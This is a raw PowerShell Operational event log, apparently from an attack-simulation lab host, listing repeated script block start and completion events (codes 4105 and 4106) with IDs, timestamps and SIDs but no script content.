Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025956
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025955
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025954
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025936
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025935
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025930
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025929
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025909
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025908
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025907
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025906
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2025905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2025904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
